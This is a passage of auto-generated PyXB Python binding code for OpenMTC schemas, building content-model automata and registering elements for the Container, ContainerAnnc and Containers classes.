v211/container.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 14, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 15, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 16, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 17, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 18, 12)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 19, 12)) counters.add(cc_7) cc_8 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 20, 12)) counters.add(cc_8) cc_9 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 23, 12)) counters.add(cc_9) cc_10 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 24, 12)) counters.add(cc_10) cc_11 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 25, 12)) counters.add(cc_11) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Container._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'expirationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Container._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Container._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchStrings')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Container._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 15, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Container._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(Container._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'announceTo')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 17, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(Container._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'maxNrOfInstances')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 18, 12)) st_6 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.ElementUse(Container._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'maxByteSize')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 19, 12)) st_7 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = set() final_update.add(fac.UpdateInstruction(cc_8, False)) symbol = pyxb.binding.content.ElementUse(Container._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'maxInstanceAge')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 20, 12)) st_8 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_8) final_update = set() final_update.add(fac.UpdateInstruction(cc_9, False)) symbol = pyxb.binding.content.ElementUse(Container._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'contentInstancesReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 23, 12)) st_9 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_9) final_update = set() final_update.add(fac.UpdateInstruction(cc_10, False)) symbol = pyxb.binding.content.ElementUse(Container._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subcontainersReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 24, 12)) st_10 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_10) final_update = set() final_update.add(fac.UpdateInstruction(cc_11, False)) symbol = pyxb.binding.content.ElementUse(Container._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/container.xsd', 25, 12)) st_11 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_11) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_5, False)])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_6, True)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_6, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_6, False)])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_7, True)])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_7, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_7, False)])) st_7._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_8, True)])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_8, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_8, False)])) st_8._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_9, True)])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_9, False)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_9, False)])) st_9._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_10, True)])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_10, False)])) st_10._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_11, True)])) st_11._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Container._Automaton = _BuildAutomaton_32() ContainerAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=ContainerAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) ContainerAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'expirationTime'), pyxb.binding.datatypes.dateTime, scope=ContainerAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16, 4))) ContainerAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings, scope=ContainerAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18, 4))) ContainerAnnc._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo, scope=ContainerAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58, 4))) ContainerAnnc._AddElement( pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'link'), pyxb.binding.datatypes.anyURI, scope=ContainerAnnc, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 74, 4))) def _BuildAutomaton_33(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_33 del _BuildAutomaton_33 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd', 13, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd', 14, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd', 15, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd', 16, 12)) counters.add(cc_3) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(ContainerAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'link')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(ContainerAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(ContainerAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'searchStrings')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(ContainerAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'expirationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd', 15, 12)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(ContainerAnnc._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'announceTo')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd', 16, 12)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True)])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) ContainerAnnc._Automaton = _BuildAutomaton_33() Containers._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'accessRightID'), pyxb.binding.datatypes.anyURI, scope=Containers, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10, 4))) Containers._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'creationTime'), pyxb.binding.datatypes.dateTime, scope=Containers, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12, 4))) Containers._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'), pyxb.binding.datatypes.dateTime, scope=Containers, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14, 4))) Containers._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'), pyxb.binding.datatypes.anyURI, scope=Containers, location=pyxb.utils.utility.Location( u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76, 4))) Containers._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'containerCollection'), NamedReferenceCollection, scope=Containers, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 24, 4))) Containers._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'containerAnncCollection'), NamedReferenceCollection, scope=Containers, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 25, 4))) Containers._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'locationContainerCollection'), NamedReferenceCollection, scope=Containers, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 27, 4))) Containers._AddElement(pyxb.binding.basis.element( pyxb.namespace.ExpandedName(Namespace, u'locationContainerAnncCollection'), NamedReferenceCollection, scope=Containers, location=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 29, 4))) def _BuildAutomaton_34(): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_34 del _BuildAutomaton_34 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 12, 12)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 13, 12)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 14, 12)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 16, 12)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 17, 12)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 18, 12)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 19, 12)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0L, max=1, metadata=pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 20, 12)) counters.add(cc_7) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Containers._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'accessRightID')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 12, 12)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Containers._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'creationTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 13, 12)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Containers._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 14, 12)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Containers._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'containerCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 16, 12)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Containers._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'containerAnncCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 17, 12)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(Containers._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'locationContainerCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 18, 12)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(Containers._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'locationContainerAnncCollection')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 19, 12)) st_6 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.ElementUse(Containers._UseForTag( pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')), pyxb.utils.utility.Location( '/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 20, 12)) st_7 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_7) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True)])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False)])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True)])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False)])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True)])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False)])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True)])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False)])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_4, True)])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False)])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_5, True)])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, False)])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False)])) st_5._set_transitionSet(transitions) transitions = [] 